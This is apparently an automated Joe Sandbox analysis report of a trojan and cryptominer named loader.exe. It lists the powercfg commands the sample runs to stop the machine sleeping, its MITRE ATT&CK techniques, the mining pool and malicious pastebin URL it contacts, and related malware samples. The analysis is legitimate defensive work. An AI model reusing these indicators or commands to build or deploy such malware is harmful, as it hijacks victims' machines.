Source: winlogon.exe, 00000014.00000000.1843622830.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000014.00000002.3146565995.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000014.00000000.1843622830.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000014.00000002.3146565995.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winlogon.exe, 00000014.00000000.1843622830.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000014.00000002.3146565995.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\System32\winlogon.exe

Code function: 20_2_00000225DC6236F0 cpuid

20_2_00000225DC6236F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 11_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

11_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 20_2_00000225DC647960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

20_2_00000225DC647960

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	11 Windows Service	1 Access Token Manipulation	1 Obfuscated Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Windows Service	1 Install Root Certificate	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	713 Process Injection	1 DLL Side-Loading	NTDS	33 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	2 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Rootkit	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	131 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	713 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
loader.exe	63%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe	63%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\Temp\gyqerfjfsbie.sys	5%	ReversingLabs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool.hashvault.pro	142.202.242.43	true	false		unknown
pastebin.com	104.20.4.235	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/f2EfCEn0	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	wepulfrfkvoz.exe, 00000019.00000003.1877347807.000001B8C6200000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.20.4.235	pastebin.com	United States		13335	CLOUDFLARENETUS	true
142.202.242.43	pool.hashvault.pro	Reserved		14315	1GSERVERSUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537414
Start date and time:	2024-10-18 23:08:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	17
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@62/74@2/2
EGA Information:	Successful, ratio: 90.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 40.126.31.69, 20.190.159.0, 40.126.31.71, 20.190.159.64, 20.190.159.73, 20.190.159.75, 40.126.31.67, 20.190.159.71
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target loader.exe, PID 3228 because it is empty
Execution Graph export aborted for target wepulfrfkvoz.exe, PID 7348 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: loader.exe

Simulations

Behavior and APIs

Time	Type	Description
17:09:06	API Interceptor	1x Sleep call for process: loader.exe modified
17:09:10	API Interceptor	40x Sleep call for process: powershell.exe modified
17:09:47	API Interceptor	458138x Sleep call for process: winlogon.exe modified
17:09:48	API Interceptor	371220x Sleep call for process: lsass.exe modified
17:09:50	API Interceptor	3109x Sleep call for process: svchost.exe modified
17:09:52	API Interceptor	432423x Sleep call for process: dwm.exe modified
17:10:01	API Interceptor	1617x Sleep call for process: dialer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.4.235	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	gaber.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	XWorm	Browse	pastebin.com/raw/V9y5Q5vv
	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
142.202.242.43	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, Xmrig, zgRAT	Browse
	System.exe	Get hash	malicious	Flesh Stealer, Xmrig	Browse
	08OyZEWGbf.exe	Get hash	malicious	Xmrig	Browse
	zTMEFv0Dh3.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	http://5.42.66.10/download/123p.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen27.52043.15111.6134.exe	Get hash	malicious	Xmrig	Browse
	VTbtz4ZUY6.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen27.16296.12545.31206.exe	Get hash	malicious	Xmrig	Browse
	gQZvXi6Osc.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool.hashvault.pro	7K5DrSyL8Y.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	eshkere.bat	Get hash	malicious	Xmrig	Browse	95.179.241.203
	frik.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	Google Chrome.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	e7WMhx18XN.exe	Get hash	malicious	SilentXMRMiner, Xmrig	Browse	45.76.89.70
	GcqJPBLD2Q.exe	Get hash	malicious	BitCoin Miner, SilentXMRMiner, UACMe, Xmrig	Browse	45.76.89.70
	C5Lg2JSPlD.exe	Get hash	malicious	SilentXMRMiner, Xmrig	Browse	95.179.241.203
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	45.76.89.70
	file.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, Xmrig, zgRAT	Browse	142.202.242.43
pastebin.com	SecuriteInfo.com.Win64.Evo-gen.31489.1077.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	6TCmDl2rFY.exe	Get hash	malicious	DCRat	Browse	104.20.4.235
	AF1cyL4cv6.vbs	Get hash	malicious	AsyncRAT	Browse	104.20.4.235
	FRi4mYXiwD.ps1	Get hash	malicious	AsyncRAT	Browse	104.20.3.235
	FmpQycTC2G.ps1	Get hash	malicious	AsyncRAT	Browse	104.20.4.235
	4d5ZJqq0M7.vbs	Get hash	malicious	AsyncRAT	Browse	104.20.4.235
	PUvfQnmcl4.ps1	Get hash	malicious	AsyncRAT	Browse	172.67.19.24
	sys_upd.ps1	Get hash	malicious	Unknown	Browse	172.67.19.24
	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	104.20.3.235
	cr_asm_menu..ps1	Get hash	malicious	Unknown	Browse	172.67.19.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://click.pstmrk.it/3s/app.markup.io%2Finvite%2Faccept%2FGAelUtD0/OI9N/z2q4AQ/AQ/914fb818-2548-4566-aa09-a2d85ddc613b/2/KJFV2S8Gzw	Get hash	malicious	Unknown	Browse	104.16.117.116
	ZP4KZDHVHWZZ2DC13DMX.exe	Get hash	malicious	Amadey	Browse	104.21.52.75
	Remittance Advice Ck 34991.html	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	z7N__MERODEORDENDECOMPRANO8478PDF.exe	Get hash	malicious	FormBook	Browse	104.21.48.76
	https://na4.docusign.net/Signing/EmailStart.aspx?a=943f47c1-68f1-4387-ae39-91f2830b86a0&etti=24&acct=e7f3e748-8206-4510-8315-0e64f8c91c9b&er=99aeb7e9-c08a-4462-99dc-389e7b080ab6	Get hash	malicious	Phisher	Browse	104.17.25.14
	SecuriteInfo.com.Win64.Evo-gen.31489.1077.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	http://www.bollywoodhungama.com	Get hash	malicious	Unknown	Browse	104.26.8.169
	SecuriteInfo.com.Win64.DropperX-gen.15221.5174.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
1GSERVERSUS	sora.arm.elf	Get hash	malicious	Mirai	Browse	207.32.216.26
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, Xmrig, zgRAT	Browse	142.202.242.43
	System.exe	Get hash	malicious	Flesh Stealer, Xmrig	Browse	142.202.242.43
	2BuZaUic3i.exe	Get hash	malicious	RedLine	Browse	207.32.219.79
	EpCrfIUgyF.exe	Get hash	malicious	RedLine	Browse	207.32.219.79
	04cde81ac938706771fa9fe936ee8f79fe7e079973098.exe	Get hash	malicious	RedLine, Xmrig	Browse	142.202.242.45
	Facturation.exe	Get hash	malicious	Doenerium	Browse	104.251.123.67
	SpelQ3Xvt7.exe	Get hash	malicious	AveMaria, UACMe	Browse	142.202.242.177
	http://khalidhost.loseyourip.com:777/dddd.mp4	Get hash	malicious	Unknown	Browse	207.32.217.25
	http://khalidhost.loseyourip.com:777/dddd.mp4	Get hash	malicious	Unknown	Browse	207.32.217.25

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\gyqerfjfsbie.sys	SecuriteInfo.com.Win64.Evo-gen.31489.1077.exe	Get hash	malicious	Xmrig	Browse
	Step 3 - Setup_Install.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen29.1091.19313.13427.exe	Get hash	malicious	Xmrig	Browse
	eqkh9g37Yb.exe	Get hash	malicious	Xmrig	Browse
	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	gaber_mnr.ps1	Get hash	malicious	Metasploit, Xmrig	Browse
	w0QdNGUNtd.exe	Get hash	malicious	RedLine	Browse
	SecuriteInfo.com.Trojan.Siggen29.50366.26295.18671.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe

Download File

Process:	C:\Users\user\Desktop\loader.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5502728
Entropy (8bit):	6.538154728899747
